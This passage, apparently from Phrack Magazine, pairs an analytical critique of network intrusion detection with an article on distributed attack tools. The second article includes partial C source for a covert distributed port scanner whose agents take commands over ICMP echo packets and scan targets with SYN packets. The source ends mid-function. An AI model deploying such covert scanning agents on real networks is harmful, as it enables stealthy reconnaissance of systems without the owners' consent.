The goal of IDS technology ‑ to detect misuse, must be considered a genuinely 'hard problem', and indeed there exists several areas of difficulty associated with implementing an NIDS (network‑based IDS) such that the results it generates are genuinely useful, and can also be trusted.

This article focuses predominantly on issues associated with NIDS although many of the issues are equally applicable to host‑based and application‑based IDS also.

This article is split into two; firstly, issues of concern regarding NIDS are discussed ‑ generally one or more research papers are referenced and then the implication for the validity of current NIDS implementation models is presented; secondly, a proposal for a new implementation model for NIDS is described which attempts to mitigate some of the identified problems.

‑‑‑‑| 2. Issues of Concern for NIDS

2.1 False Alarm Rate

"If you call everything with a large red nose a clown, you'll spot all the clowns, but also Santa's reindeer, Rudolph, and vice versa."

‑ Stefan Axelsson

At the RAID 99 Conference (Recent Advances in Intrusion Detection) [1], Stefan Axelsson presented his white paper: 'The Base‑Rate Fallacy and its Implications for the Difficulty of Intrusion Detection' [2].

The base‑rate fallacy is one of the cornerstones of Bayesian statistics, stemming from Bayes theorem that describes the relationship between a conditional probability and its opposite, i.e. with the condition transposed.

The base‑rate fallacy is best described through example. Suppose that your doctor performs a test on you that is 99% accurate, i.e. when the test was administered to a test population all of whom had the disease, 99% of the tests indicated disease, and likewise when the test population was known to be 100% free of the disease, 99% of the test results were negative. Upon visiting your doctor to learn the results he tells you that you have tested positive for the disease; the good news however, is that out of the entire population the rate of incidence is only 1/10,000, i.e. only one in 10,000 people have the disease. What, given this information, is the probability of you having the disease?

Even though the test is 99% certain, your chance of actually having the disease is only 1/100 because the population of healthy people is much larger than the population with the disease.

This result often surprise a lot of people, and it is this phenomenon ‑ that humans in general do not take the basic rate of incidence (the base‑rate) into account when intuitively solving such problems of probability, that is aptly named "the base rate fallacy".

The implication, is that intrusion detection in a realistic setting is therefore harder than previously thought. This is due to the base‑rate fallacy problem, because of which the factor limiting the performance of an intrusion detection system is not the ability to correctly identify intrusions, but rather its ability to suppress false alarms.

2.2 Anomalous Network Behavior

In 1993, Steven Bellovin published the classic white paper 'Packets Found on an Internet' [3], in which he describes anomalous network traffic detected at the AT&T firewall. He identifies anomalous broadcast traffic, requests to connect to "inexplicable" ports, and packets addresses to random, non‑existent machines. Bellovin concludes:

"To some, our observations can be summarized succinctly as 'bugs happen'. But dismissing our results so cavalierly misses the point. Yes, bugs happen but the very success of the Internet makes some bugs invisible; the underlying problems they are symptomatic of have not gone away."

As the techniques for network information gathering (host, service, and network topology detection ‑ see [4]) become more esoteric, they stray increasingly into the 'gray areas', the ambiguities, of the TCP/IP network protocol definitions (consequently, the results of such techniques may be more stealthy, but they are often also less dependable).

These same ambiguities in the definition of the protocols result in TCP/IP stack implementations that behave differently per OS type, or even per OS release (in fact, this enables TCP/IP stack fingerprinting [5]).

The implication, is that the detection of anomalous behavior which may have a security implication, is made considerably more complex since anomalous behavior exists in the network environment by default.

2.3 Complexity

"Thinking in terms of 'typical' is a lethal pitfall. But how else do we develop intuition and understanding?"

‑ Vern Paxson

In 1999, Vern Paxson (author of the 'Bro' NIDS [6]), published a presentation titled 'Why Understanding Anything About The Internet Is Painfully Hard' [7].

In his presentation, he concludes that to even begin to enable network traffic modeling, invariants are required: properties of the network which do not change; but, the Internet is by it's very nature a sea of change ‑ a moving target.

The majority of NIDS utilize a 'misuse‑detection' model ‑ traditionally implemented by comparing live network traffic to a database of signatures which represent known attacks. A second NIDS model also exists: 'anomaly‑detection' ‑ in which an IDS attempts to 'learn' to differentiate between legal and illegal behavior; anomaly‑detection NIDS have not yet been proven, and exist at present largely only in the academic research domain.

Vern Paxson describes the Internet as: "ubiquitous diversity and change: over time, across sites, how the network is used, and by whom", and this implies that much work is yet to be done before NIDS which attempt to utilize a traditional anomaly‑detection model can add significant value in a complex, real‑world, enterprise environment.

2.4 Susceptibility to Attack

In 1998, Thomas Ptacek and Timothy Newsham published their seminal work on NIDS subversion ‑ 'Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection' [8]; an implementation followed in P54‑10 [9], and the scripting language originally used by Ptacek and Newsham to perform their testing is also now available [10].

Since then, anti‑IDS techniques have been built into network interrogation tools, such as whisker [11].

A presentation by Vern Paxson ‑ 'Defending Against NIDS Evasion using Traffic Normalizers' [12] describes a 'bump in the wire' network traffic normalizer which defeats the majority of published NIDS subversion attacks.

However, until Cisco implement this technology in IOS or Checkpoint do likewise with FW‑1, etc., both unlikely prospects in the short to medium term, the implication is that this suite of NIDS subversion techniques will continue to call into question the reliability of NIDS.

2.5 The Evolving Network Infrastructure

The physical network infrastructure is rapidly evolving; in the future encryption, high wire speeds, and switched networks will practically kill those NIDS which utilize promiscuous‑mode passive protocol analysis.

When (...or if) the IP security protocol [13] becomes ubiquitous, NIDS will be unable to perform pattern‑matching‑style signature analysis against the data portion of network packets; those NIDS signatures which relate to IP, TCP, and other protocol headers will still be valid, but signatures for attacks against applications will become useless because the application data will be encrypted.

Current NIDS based upon passive protocol analysis can barely monitor 100 Mb/s Ethernet, and it is somewhat doubtful that they will be able to monitor ATM, FDDI, etc.

Lastly, the increasing use of switches in the modern network environment largely foils the monitoring of multiple hosts concurrently (such as with broadcast Ethernet). The use of a spanning/spy port to monitor multiple ports on a switch should be viewed as a short‑term novelty at best.

‑‑‑‑| 3. The Evolution of NIDS

In an attempt to 'evolve around' the described issues, vendors of NIDS products are moving towards a model in which an NIDS agent is installed on each host ‑ monitoring network traffic addressed to that host alone (i.e. non promiscuously); this would seem to be the most sensible way to perform NIDS monitoring in switched environments. Also, if a host‑based NIDS agent can be 'built into' the hosts TCP/IP stack, it can perform security analysis both before data enters the stack (i.e. between the NIC and the stack), and before it enters an application (i.e. between the stack and the application), thereby hypothetically protecting both the OS stack and the application.

In a multiple host‑based model as described above, NIDS subterfuge attacks (section 2.4) are much less dangerous, since a host‑based NIDS agent receives all the packets addressed to the host on which it is installed; issues associated with the ambiguity in interpreting network traffic, such as with forward or backwards fragmentation reassembly (and so on) are reduced assuming of course that the NIDS agent has visibility into the operation of the host OS stack.

A transition from network‑based NIDS to host‑based NIDS is a logical evolutionary step ‑ it eases the problems with susceptibility to attack and the underlying evolving network infrastructure, but it is not, however, a panacea for the other issues identified.

‑‑‑‑| 4. A Proposal: Strict Anomaly Detection

We approached the task of inventing a new NIDS operational model with two axiomatic beliefs:

Firstly, an IDS should not view the task of detecting misuse as a binary decision problem, i.e. "saw an attack" vs. "did not see an attack". It should be recognized that different forms of attack technique are not equally complex and consequently not equally complex to detect; succinctly, the intrusion detection problem is not a binary (discrete), but rather an n‑valued (variable) problem.

Secondly, NIDS can detect many simplistic attacks, but those same simplistic attacks can be made much harder to detect if the correct delivery mechanism and philosophy is employed. Many attack techniques are increasingly dependent on ambiguity, which forces an IDS to use much more simplistic logic if it is to perform correctly. By definition, NIDS which employ a misuse detection heuristic cannot detect new, novel attacks; more crucially, a small variation in the form/structure of an attack can often easily invalidate a NIDS signature.

Our proposal, is that an IDS should not function by using definitions of misuse (signatures) to detect attacks, but instead by searching for deviation from a rigid definition of use. We call this model "not use" detection, or alternatively "strict anomaly detection".

It is important to distinguish between misuse‑detection and "not use" detection: traditional misuse detection involves defining a set of events (signatures) that represent attacks ‑ "misuse", and attempting to detect that activity in the environment. Strict anomaly detection ("not use" detection) involves defining a set of permitted events ‑ "use", and detecting activity which represents exceptions to those events, hence "not use".

The key advantage in employing a strict anomaly detection model is that the number of attacks within the "misuse" set can never be greater than the number of attacks within the "not use" set; by definition, all current and future attacks reside in the "not use" set!

Assuming a host‑based model, the remaining current issues of concern with IDS identified in section 2, are:

4.1 False Alarm Rate

An IDS which implements a strict anomaly detection model can never enter a false‑positive state, i.e. can never generate a false alarm, because activity which occurs outside the definition of "use", by definition, has security relevance.

4.2 Anomalous Network Behaviour

We must assume that anomalous behavior exists in the target environment by default; therefore, a mechanism must exist to create 'exceptions' to the rule set used to implement strict anomaly detection within an IDS, for example to except (accept) the idiosyncratic behavior of a particular flavor of host TCP/IP stack. Such a system would be analogous in functionality to the ability to except certain instances of mis‑configuration detected by host‑based security state monitoring software.

4.3 Complexity

The use of strict anomaly detection does not necessarily require a complete model of acceptable use to be constructed ‑ a subset may be acceptable. For example, to detect novel network attacks that involve TCP connection establishment, the acceptable use model could initially simply comprise the three‑way TCP connection handshake, plus termination conditions; it may not be necessary to construct an acceptable use model which comprises the entire TCP state transition diagram.

How can strict anomaly detection be applied to the problem of detecting anomalous (i.e. security relevant) network traffic? We present two initial implementation ideas, below.

Firstly, the TCP state‑transition diagram could be modeled within an IDS as a set of rules; these rules represent the valid use of TCP as per the TCP specification. Exceptions (i.e. "not use") which occur would be alerted upon. Some analysis has already been done on exceptions which occur to the classical TCP state transition diagram, see [14].

Alternatively, an entirely stateless approach could be taken by defining the allowable variation in each field of the TCP header and in its construction/format; analysis could then be performed without reference to previous or future network traffic. Exceptions which occur would be flagged.

A more broad example of strict anomaly detection is in the scenario in which a NIDS is deployed on the 'inside' of a firewall; the "not use" set can be constructed using the inverse of the firewall rule set. If the NIDS detects traffic which it knows the firewall should reject, an alert would be generated.

‑‑‑‑| 5. Summary

The difficulty in constructing an IDS which utilizes a strict anomaly detection model, is in being able to define allowable "use". It may be that strict anomaly detection is best employed in an environment in which "use" can be (or is already) well defined, such as in the firewall example above, or in a 'trusted system' ‑ such as Trusted Solaris [15] for example.

In this article we have introduced the concept of strict anomaly detection, a.k.a "not use" detection. Strict anomaly detection is an alternative to misuse‑detection and anomaly‑detection for the attack detection heuristic component of intrusion detection systems, which attempts to negate some of the critical issues of concern with the existing approaches to IDS.

‑‑‑‑| 6. References

[1] International Workshop on Recent Advances in Intrusion Detection http://www.zurich.ibm.com/pub/Other/RAID

[2] The Base‑Rate Fallacy and its Implications for the Difficulty of Intrusion Detection, Stefan Axelsson, Proceedings of the 6th ACM Conference on Computer and Communications Security, November 1‑4, 1999

[3] Packets Found on an Internet, Steven M. Bellovin, August 23, 1993, Computer Communications Review, July 1993, Vol. 23, No. 3, pp. 26‑31, http://www.research.att.com/~smb/papers/packets.ps

[4] Distributed Metastasis: A Computer Network Penetration Methodology, Andrew J. Stewart, Phrack Magazine, Vol 9, Issue 55, File 16 of 19. 09.09.99, http://www.phrack.com/search.phtml?view&article=p55‑16

[5] Remote OS detection via TCP/IP Stack Fingerprinting', Fyodor, Phrack Magazine, Volume 8, Issue 54, Article 09 of 12, Dec 25th, 1998, http://www.phrack.com/search.phtml?view&article=p54‑9

[6] Bro: A System for Detecting Network Intruders in Real‑Time, Vern Paxson, Network Research Group, Lawrence Berkeley National Laboratory, Berkley, CA, Revised January 14, 1998, Proceedings of the 7th USENIX Security Symposium, San Antonio, TX, January 1998, ftp://ftp.ee.lbnl.gov/papers/bro‑usenix98‑revised.ps.Z

[7] Why Understanding Anything About The Internet Is Painfully Hard, Vern Paxson, AT&T Center for Internet Research at ICSI, International Computer Science Institute, Berkeley, CA, April 28, 1999, http://www.aciri.org/vern/talks/vp‑painfully‑hard.UCB‑mig.99.ps.gz

[8] Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection, Thomas H. Ptacek & Timothy N. Newsham, Secure Networks, Inc, January, 1998, http://www.securityfocus.com/data/library/ids.pdf

[9] Defeating Sniffers and Intrusion Detection Systems, horizon, Phrack Magazine, Volume 8, Issue 54, article 10 of 12, Dec 25th, 1998, http://www.phrack.com/search.phtml?view&article=p54‑10

[10] CASL (Custom Audit Scripting Language) for Linux Red Hat 5.x, Programming Guide, Version 2.0, ftp://ftp.nai.com/pub/security/casl/casl20.tgz

[11] A look at whisker's anti‑IDS tactics, Rain Forest Puppy, http://www.wiretrip.net/rfp/pages/whitepapers/whiskerids.html

[12] Defending Against NIDS Evasion using Traffic Normalizers, Vern Paxson, Mark Handley, ACIRI, RAID, Sept '99

[13] IP Security Protocol (ipsec), http://www.ietf.org/html.charters/ipsec‑charter.html

[14] Network Security Via Reverse Engineering of TCP Code: Vulnerability Analysis and Proposed Solutions, Biswaroop Gua, Biswanath Mukherjee, Biswanath Mukherjee, Department of Computer Science, University of California, Davis, CA 95616, U.S.A, November 7, 1995

[15] Trusted Solaris 7 http://www.sun.com/software/solaris/trustedsolaris/

[16] I Am Right ‑ You Are Wrong, Edward De Bono, Penguin, 1992 edition, ISBN 0140126783

Distributed Tools

‑ P H R A C K M A G A Z I N E ‑

Volume 0xa Issue 0x38

05.01.2000

0x0c[0x10]

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ DISTRIBUTED TOOLS ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ sasha / lifeline ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

"The COAST approach has been to look at limits and underlying problems and see what we can do to change the paradigm. We don't start with the view that 'well, the system gives us X and we know Y, so what can we find using that?' Instead, we ask questions about the whole process of intrusion and misuse, and try to find new ideas there."

‑ Gene Spafford

‑‑‑‑| Distributed Denial of Service Attacks

It is perhaps prophetic that the first CERT advisory of the 21st century should concern a distributed Denial of Service attack (see CA‑2000‑01 [1]).

In November 1999, CERT even held a 'Distributed‑Systems Intruder Tools Workshop' [2], to discuss "the threat" of distributed DoS (Denial of Service) tools.

Briefly: in a distributed DoS attack, daemons are installed on multiple compromised hosts; a client is used to identify a target to the daemons who each then launch a DoS attack (usually using flood‑like attacks i.e. UDP, ICMP, SYN). The unified and sustained nature of attacks generated by multiple daemons can often cripple a target network/host.

Some good work has been done on analysis of current distributed DoS tools, and we direct the interested reader to the work of David Dittrich [3].

‑‑‑‑| Applications of a Distributed Approach

It is somewhat depressing that DoS is very often the first application of any new idea which can be utilized in a security context, and this is especially true of distributed techniques, since the distributed 'philosophy' is applicable to many facets of computer network penetration.

Below, we describe two examples of the distributed approach applied to very familiar tasks: port scanning and password sniffing. Source code for an example distributed port scanner implementation is included at the end of the article.

‑‑‑‑| Port Scanning

In P55‑09 ‑ 'Distributed Information Gathering' [4], the advantages in using a distributed network information gathering approach are described, namely:

I. Stealth

By employing co‑operation, time dilation, and randomization techniques we hope to elude NIDS (network‑based intrusion detection systems).

II. Correlation Information

The acquisition of multiple 'points of view' of a target enables a more complete model of the target to be constructed, including multiple route and timing information.

III. Pervasive Information Gathering

The countermeasures which some N‑IDS can employ, such as injecting a 'deny rule' into a firewall (for example, using an OPSEC API [5]), become less effective at stopping ongoing information gathering.

‑‑‑‑| Distributed Port Scan Detection

To detect a distributed port scan in which multiple hosts are being used to distribute and "share the work" of information gathering, the functionality must exist in a detection system to analyze a recorded event (for example ‑ a SYN packet sent to a port) in context, i.e. using circumstantial information.

The difficulty lies in knowing which information it is valuable to keep; you may throw away the one byte which unlocks the puzzle! Resource starvation and state‑holding attacks then become applicable, since the resources available to the detection system are unlikely to be infinite.

Assuming no pathologically obvious variations of information gathering techniques are used (e.g. SYN+RST), a detection system must almost ignore source IP addresses when performing analysis, since by definition, multiple source hosts can distribute the set of probes to be performed.

For example, if you receive a connect to each port from 1 to 1024 over the duration of a week, from multiple hosts, you are likely to have been port scanned; however, the set of ports an individual is interested in determining are open on your machine (or network), is unlikely to be as easy to recognize as 1‑1024.

There obviously exists an opportunity to perform much more research in the area of programmatically identifying distributed attacks.

‑‑‑‑| Password Sniffing

In P55‑16 ‑ 'Distributed Metastasis' [6], the advantages associated with using a distributed model for password sniffing are described; briefly, the two primary advantages are in removing the need to revisit a compromised host to collect sniffer logs, and to increase the speed with which the sniffed information is made available so that the penetration can be immediately continued/deepened.

‑‑‑‑| The Implementation

An implementation of a distributed port scanner is provided for illustrative purposes.

DPS (Distributed Port Scanner) consists of a client working in conjunction with agents located on multiple remote hosts.

The communication between the client and the agents is provided via some basic commands encapsulated in ICMP_ECHO_REQUEST/REPLY packets, thus providing a fairly covert channel. Strong data payload encryption is planned for a later release.

The port scan request is done by the client; the agents perform the port scan itself, and then report the results back to the client.

Imagine that we have 4 agents, located on 4 different hosts: 'hardbitten', 'doubt', 'ketamine' and 'neurosponge'. Our goal is to obtain the status of ports 21, 22, 23, 80 and 143 on 10.0.2.10. The client is located on the host 'implode' and agents.txt is a file containing a list of agents.

[root@implode dps]# ./client 10.0.2.10 21‑23,80,143 agents.txt eth0 packet sent. 1 of 1

Using device eth0

21 iz open

23 iz open

80 iz open

[root@implode dps]#

The client distributes the "workload" (the set of ports) between the different agents; each agent scans the target host for a subset of the total ports, then reports the results back to the client.

This isn't by any means a finished product ‑ it is proof‑of‑concept. Planned features for future releases include: distributed password sniffing, distributed remote OS detection, strong crypto, multi‑threaded agents, and other ideas that people have been throwing seen this project was begun. Stay tuned. Take your time to browse through the source code. Both Libnet and Libpcap are needed by both the agent and the client.

‑‑‑‑| Conclusions

It is interesting to see historically the wave‑like effect that exists between centralized and distributed computing: mainframe, client/server, thin‑client (such as Windows Terminal Server and the JavaStation Network Computer), etc. This same effect has not yet been fully witnessed in computer security (the Morris Worm [7] is an obvious exception).

Conversely, the concept of 'remote control' is not new to security; Loki [8], Back Orifice [9], and NetBus [10] all provide client/server style remote control functionality.

To conclude, the key to the distributed 'philosophy', is the _combination_ of the above two concepts.

‑‑‑‑| References

[1] CERT Advisory CA‑2000‑01 ‑ Denial‑of‑Service Developments, CERT/CC and FedCIRC, January 3, 2000, http://www.cert.org/advisories/CA‑2000‑01.html

[2] Results of the Distributed‑Systems Intruder Tools Workshop, Pittsburgh, Pennsylvania USA, November 2‑4, 1999, Published at the CERT Coordination Center, Software Engineering Institute, Carnegie Mellon University, Pittsburgh, PA, 15213, December 7, 1999, http://www.cert.org/reports/dsit_workshop.pdf

[3] The Dos Project's "trinoo" distributed denial of service attack tool, The "Tribal Flood Network" distributed denial of service attack tool, The "stacheldraht" distributed denial of service attack tool, David Dittrich, University of Washington, December 31, 1999, http://www.washington.edu/People/dad/

[4] Distributed Information Gathering, hybrid, Phrack Magazine, Vol. 9, Issue 55, Article 9 of 16, 09.09.99, http://www.phrack.com/search.phtml?view&article=p55‑9

[5] Check Point Open Platform for Security (OPSEC), Check Point Software Technologies Ltd, 1999, http://www.opsec.com

[6] Distributed Metastasis: A Computer Network Penetration Methodology, Andrew J. Stewart, Phrack Magazine Vol. 9, Issue 55, Article 16 of 19, 09.09.99, http://www.phrack.com/search.phtml?view&article=p55‑16

[7] The Internet Worm Program: An Analysis, Eugene H. Spafford, Purdue University, 1998, http://www.cerias.purdue.edu/coast/archive/data/categ29.html

[8] Project Loki, daemon9 & alhambra, Phrack Magazine Vol. 7, Issue 49, Article 06 of 19, August 1996, http://www.phrack.com/search.phtml?view&article=p49‑6

[9] Back Orifice 2000, Cult of the Dead Cow, http://www.b02k.com

[10] http://www.netbus.org

‑‑‑‑| Source Code

<++> p56/dps/Makefile !5f996922

CC = gcc

CFLAGS = ‑O3 ‑DDEBUG

LIBS = ‑lnet ‑lpcap

CLI_OBJECTS = source/clt_main.o source/clt_packet_injection.o source/clt_wait.o AGT_OBJECTS = source/agt_main.o source/agt_pscan.o

DPS_OBJECTS = source/dps_helper.o source/dps_pcap.o

.c.o:

$(CC) $(CFLAGS) $(DEFINES) ‑c $< ‑o $@

common: $(DPS_OBJECTS)

client: $(CLI_OBJECTS) $(DPS_OBJECTS)

$(CC) $(DPS_OBJECTS) $(CLI_OBJECTS) $(LIBS) ‑o client

strip client

agent: $(AGT_OBJECTS) $(DPS_OBJECTS)

$(CC) $(DPS_OBJECTS) $(AGT_OBJECTS) $(LIBS) ‑o agent

strip agent

clean:

rm ‑f source/*.o core

<‑‑>

<++> p56/dps/README !6dab2725

dps 1.0

dps is a distributed portscanning tool. It consists in a client working in conjuction with agents located in several remote hosts thus providing 'many‑to‑one' and 'many‑to‑many' portscanning.

The communication between the client and the agents is provided via some basic commands encapsulated in ICMP ECHO_REQUEST/ECHO_REPLY packets this way providing a fairly covert channel.

Data payload encryptation is also available

using the most popular symmetric‑key algorithms (except for DES due to the pathetic export restrictions is U.S.).

(*not* yet implemented)

The portscan request is done by the client, being the portscan itself done by the agents which then report back to the client the results obtained.

Compilation notes:

1. make client

2. make agent

and that'z it!

<‑‑>

<++> p56/dps/agents.txt !96b84d09

foo

bar

neuro.somewieirddomain.org

10.0.2.10

<‑‑>

<++> p56/dps/localtest.txt !ea0d9aae

127.0.0.1

<‑‑>

<++> p56/dps/include/config.h !5d33c259

#define MAGIC "lifeline" /* magic string, only alphanumerical

characters please. Btw, you will

become an idiot if you don't change this.

*/

#define BLOWFISH_KEY "lifelinerox"

#define MAX_HOST_SIZE 64 /* maximum hostname size allowed */

#define MAX_ICMP_PAYLOAD_SIZE 56 /* ok, this one is tricky. A maximum payload

of 56 bytes is recommended is you want

the packets to seem real. But 56 may not be enough to store all the port information, in this case the program

will split up in various ICMP packets, however in the case that the port information may be really large it will cause a tremendous ICMP flood in the network, so deal with it and use the option that fits you best.

*/

<‑‑>

<++> p56/dps/include/dps_pcap.h !3dca6d72

#ifndef DPS_PCAP

#define DPS_PCAP

#ifdef SOLARIS

#include "./solaris.h"

#endif

#include <pcap.h>

#define LOOPBACK_OFFSET 4

#define ETHERNET_OFFSET 14

#define SLIP_PPP_OFFSET 24

char errbuf[PCAP_ERRBUF_SIZE];

void

dps_pcap_err(

char *,

char *

);

pcap_t *

dps_pcap_prep(

int,

char *,

char *

);

int

dps_pcap_datalink(

pcap_t *

);

void *

dps_pcap_next(

pcap_t *

);

#endif /* DPS_PCAP */

/* EOF */

<‑‑>

<++> p56/dps/include/prototypes.h !f50ce3e5

#include <linux/types.h>

extern char *itoa(int);

struct agentnfo {

u_long address; /* agent's IP address */

u_long victim; /* victim's IP address */

char *ports; /* ports to scan separated by comas(",") and minus("‑"); */

struct agentnfo *next; /* next agent in list, this is a linked list */

};

struct scannfo {

u_long victim;

u_long cli_addr;

char *ports;

};

struct sp_header {

char magic[8];

__u8 plus:1,

res2:1,

res3:1,

res4:1,

res5:1,

res6:1,

res7:1,

res8:1;

};

extern short int inject(struct agentnfo *, char *);

<‑‑>

<++> p56/dps/include/solaris.h !acb0956b

#ifndef SOLARIS_H

#define SOLARIS_H

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <unistd.h>

#include <errno.h>

#include <ctype.h>

#include <strings.h>

#include <arpa/inet.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <netinet/in.h>

#include <netinet/in_systm.h>

#include <netinet/ip_var.h>

#include <netinet/ip.h>

#include <netinet/tcp.h>

#endif /* SOLARIS_H */

/* EOF */

<‑‑>

<++> p56/dps/source/agt_main.c !aaf7e1ae

#include <stdio.h>

#include <stdlib.h>

#include <pcap.h>

#include <netinet/in.h>

#include <netinet/ip.h>

#include <netinet/tcp.h>

#include <netinet/ip_icmp.h>

#include <asm/types.h>

#include "../include/config.h"

#include "../include/prototypes.h"

#define SNAPLEN 64

#define ETHHDR 14

void pkt_analyser_func(char *, char *);

/* Global variables */

unsigned int dlink_s;

const u_char *snapend;

int main(int argc, char **argv) {

pkt_analyser_func(argv[1], MAGIC);

}

void pkt_analyser_func(char *dev, char *magic) {

pcap_t *pd;

char *data;

struct pcap_pkthdr h;

struct iphdr *iph;

char *payload;

int x;

struct sp_header *head;

struct scannfo *scan;

if(!dev) {

if(!(dev = pcap_lookupdev(NULL))) {

perror("pcap_lookupdev");

exit(1);

}

}

printf("Using device %s\n", dev);

pd = pcap_open_live(dev, SNAPLEN, 0, 10, NULL);

switch(pcap_datalink(pd)) {

case DLT_EN10MB:

case DLT_IEEE802:

dlink_s = ETHHDR;

break;

case DLT_NULL:

dlink_s = 4;

break;

default:

perror("unknown datalink header");

exit(0);

break;

}

for(;;) {

data = pcap_next(pd, &h);

iph = (struct iphdr *)(data + dlink_s);

if(iph‑>protocol == IPPROTO_ICMP) {

struct icmphdr *icmph = (struct icmphdr *)(data + dlink_s + iph‑>ihl*4); if(icmph‑>type == 8 && icmph‑>code == 0) {

payload = malloc(MAX_ICMP_PAYLOAD_SIZE);

memcpy(payload, data + dlink_s + iph‑>ihl*4 + 8, MAX_ICMP_PAYLOAD_SIZE); /*

for(x = 0; x <= MAX_ICMP_PAYLOAD_SIZE; x++)

printf("%c", *(payload+x));

printf("\n");

*/

if (!(strncmp(MAGIC, payload, strlen(MAGIC)))) {

head = malloc(16);

memcpy(head, payload, 16);

if (!(head‑>plus)) {

scan = malloc(sizeof(struct scannfo));

memcpy(scan, payload + 16 + sizeof(u_long), sizeof(u_long)); memcpy(scan + sizeof(u_long), payload + 16, sizeof(u_long)); scan‑>ports = malloc(strlen(payload + 16 + 2*sizeof(u_long)) + 1); memset(scan‑>ports, '\0', strlen(payload + 16 + 2*sizeof(u_long)) + 1); memcpy(scan‑>ports, payload + 16 + 2*sizeof(u_long), strlen(payload + 16 + 2*sizeof(u_long))); pscan(scan, pd, dev);

}

}

}

}

}

}

<‑‑>

<++> p56/dps/source/agt_pscan.c !6b34db79

#include <libnet.h>

#include <pcap.h>

#include "../include/prototypes.h"

#include "../include/config.h"

#define SNAPLEN 64

#define ETHHDR 14

int pscan(struct scannfo *scan, pcap_t *pd, char *dev) {

extern unsigned int dlink_s;

int i, timeout = 10;

char *port, *ebuf;

int c, sock;

char *buf;

u_long src_ip, dst_ip;

int p;

u_char *data;

struct iphdr *iph;

struct tcphdr *tcph;

struct pcap_pkthdr h;

time_t utime;

srandom(time(NULL));

if(!(buf = malloc(IP_MAXPACKET))) {

return 0;

}

if(!(sock = open_raw_sock(IPPROTO_RAW))) {

return 0;

}

src_ip = htonl(get_ipaddr(NULL, dev, ebuf));

dst_ip = scan‑>victim;

libnet_build_ip(TCP_H, 0, random() % 65536, 0, 64, IPPROTO_TCP, src_ip, dst_ip, NULL, 0, buf);

// sleep(2);

port = strtok(scan‑>ports, ",");

p = atoi(port);

while (port) {

libnet_build_tcp(1030, p, 11111, 99999, TH_SYN,

1024, 0, NULL, 0, buf + IP_H);

libnet_do_checksum(buf, IPPROTO_TCP, TCP_H);

c = libnet_write_ip(sock, buf, TCP_H + IP_H);

// sleep(2);

i = 1;

utime = time(NULL);

while ((time(NULL) ‑ utime) <= timeout && i) {

data = (u_char *)pcap_next(pd, &h);

iph = (struct iphdr *)(data + dlink_s);

if (iph‑>saddr == dst_ip && iph‑>daddr == src_ip) {

if (iph‑>protocol == IPPROTO_TCP) {

tcph = (struct tcphdr *)(data + dlink_s + iph‑>ihl*4); if (tcph‑>th_sport == htons(p) && tcph‑>th_dport == htons(1030)) { if ((tcph‑>th_flags & (TH_SYN|TH_ACK)) == (TH_SYN|TH_ACK)) { send_result(p, scan‑>cli_addr); }

// if (tcph‑>th_flags & TH_RST)printf("%d it'z closed\n", p);

i = 0;

}

}

}

}

port = strtok('\0', ",");

if(!port) return 0;

p = atoi(port);

}

free(buf);

return 1;

}

int send_result(int p, u_long dst_ip) {

char *buf;

int c, sock;

u_long src_ip;

src_ip = libnet_name_resolve("127.0.0.1", 1);

if(!(sock = open_raw_sock(IPPROTO_RAW))) {

return 0;

}

buf = malloc(IP_MAXPACKET);

memset(buf, '\0', IP_MAXPACKET);

libnet_build_ip(ICMP_ECHO_H + sizeof(int) + strlen(MAGIC), 0,

random() % 65535,

0,

32,

IPPROTO_ICMP,

src_ip,

dst_ip,

NULL,

0,

buf);

libnet_build_icmp_echo(ICMP_ECHO, 0, 440, 1, NULL, 0, buf + IP_H);

memcpy(buf + IP_H + ICMP_ECHO_H, "araiarai", strlen(MAGIC)); memcpy(buf + IP_H + ICMP_ECHO_H + strlen(MAGIC), &p, sizeof(int));

if (libnet_do_checksum(buf, IPPROTO_ICMP, ICMP_ECHO_H + strlen(MAGIC) + sizeof(int)) == ‑1) { return ‑1;

}

c = libnet_write_ip(sock, buf, ICMP_ECHO_H + IP_H + strlen(MAGIC) + sizeof(int)); if (c < ICMP_ECHO_H + IP_H + strlen(MAGIC) + sizeof(int)) {

// printf("Error writing to network\n");

return ‑1;

}

// printf("wrote %d bytes.\n", c);

return 1;

}

<‑‑>

<++> p56/dps/source/clt_main.c !6b6e9348

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include "../include/config.h"

#include "../include/prototypes.h"

void usage(char *);

int main(int argc, char **argv) {

int x, round;

FILE *agentsfd;

struct agentnfo *agent, *first_agent;

char *temp, *ports;

u_char buf2[MAX_HOST_SIZE], *buf3; u_long address;

u_short begin_port, end_port;

char *sequence;

if (getuid() || geteuid()) {

fprintf(stderr, "You need to be root to run dps.\n");

exit(0);

}

if (argc != 5) usage(argv[0]);

if ((agentsfd = fopen(argv[3], "r")) == NULL) {

fprintf(stderr, "Error opening %s.\n", argv[3]);

exit(0);

}

round = 0;

while ((fgets(buf2, MAX_HOST_SIZE, agentsfd)) != NULL) {

buf3 = malloc(strlen(buf2));

memset(buf3, '\0', strlen(buf2));

memcpy(buf3, buf2, strlen(buf2) ‑ 1);

if ((address = libnet_name_resolve(buf3, 1)) == ‑1) { fprintf(stderr, "Error resolving %s\n", buf3); fclose(agentsfd);

exit(0);

}

free(buf3);

if (!round) {

agent = malloc(sizeof(struct agentnfo));

first_agent = agent;

round = 1;

}

else {

agent‑>next = malloc(sizeof(struct agentnfo));

agent = agent‑>next;

}

memcpy((struct agentnfo *)agent, &address, sizeof(u_long));

agent‑>victim = libnet_name_resolve(argv[1], 1);

agent‑>ports = NULL;

agent‑>next = NULL;

}

fclose(agentsfd);

agent = first_agent;

ports = strtok(argv[2], ",");

if (strrchr(ports, '‑')) {

if (strchr(ports, '‑')) {

